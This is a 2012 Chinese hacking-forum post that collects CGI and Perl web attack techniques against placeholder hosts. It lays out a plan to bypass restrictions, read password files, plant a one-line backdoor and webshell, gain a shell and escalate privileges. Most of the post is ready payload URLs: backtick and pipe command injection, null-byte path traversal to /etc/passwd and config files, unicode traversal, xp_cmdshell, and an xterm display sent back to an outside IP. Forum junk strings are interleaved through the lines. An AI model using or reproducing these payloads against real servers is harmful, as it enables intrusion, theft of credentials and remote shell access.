找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2725|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  2 D/ N0 |. @$ o6 w6 }& l
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
5 I- B# d3 n& G+ K( z/ x感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
% X6 E% {0 p9 g3 ?+ I& X注“  7 h  i% d# I+ C! J* T- X
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  1 V' r& L& ^. `% U% r4 l
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
2 @. C* P# A1 k3 m5 Q0 y2 t) W6 K! ^4 C8 T
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  : |, u- [9 w$ e5 ]5 ~3 V" M
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 l' s) n& u' L: h
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  # w9 q2 E+ e* i, k4 I7 c! L9 v! h
http://target.com/cgi-bin/home/news/sub.pl?`id`  * {& J4 e+ l! Y0 ]( G0 N
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
7 t& S  h; [- Shttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
* @7 o- x/ h/ W( n3 L1 ^# L! D) L7 H+ {! N. V8 a- s
http://target.com/test.pl;ls|  
+ y6 }- a$ I, k8 K9 C# khttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  6 ]7 r. x2 X# J. F6 q) z
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
+ k. e: q0 X3 t8 V  ~( `http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  6 ]% _7 V+ L$ X% F  _: ^8 c
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
; I9 j& z; N8 Hhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  3 b: O4 s& m4 z% D) m+ R, f

3 R3 V: K% J0 i# o$ jhttp://target.com/test.pl?&........ /../../etc/passwd  
+ a3 n# m& x/ @% D& g: K& t: n" m+ \5 D
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
1 B9 z3 w  T0 W1 i$ K7 P" ghttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
8 @- k' J7 W) C, Y" \5 ?http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
) h+ L$ }8 i) c$ a
& J% M2 }' K2 U3 Mhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
5 C5 N0 c2 F% ~9 K6 f. Zhttp://www.target.org/show.php?f ... ng/admin/global.php  
4 \% e) ~) [% [9 w
4 J. W* m- S& T: j6 Q  a9 H& ?emm和ps的一句话
/ @) s$ {7 k7 G3 `! Y* G
+ w/ W9 ?8 {9 p/ w. Mhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  - e. P6 s9 ^9 k/ B% |: b

+ o4 S2 {  W8 X# v7 K2 ]>bbb%20|  - g( i: O. b' W( h) J' |3 q' s+ d+ ~
4 @( [* ~+ N8 f! C9 a  P
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
3 [+ p' v" Z1 J5 y
% m( W8 ^8 A: L4 K# R- ?http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  8 s" E1 E1 h( h& W( K+ b
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  7 k5 K$ }, L9 }' \

4 ]  {0 F0 b8 v" Y相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
* C4 D- a! U' e$ c* ?3 r3 Shttp://target.com/index.html#cmd.exe  
; i$ r; w* e* a* Uhttp://target.com/index.html?dummyparam=xp_cmdshell  
! _) t" Z- `, Flynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  " D% J4 ^$ k+ M$ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表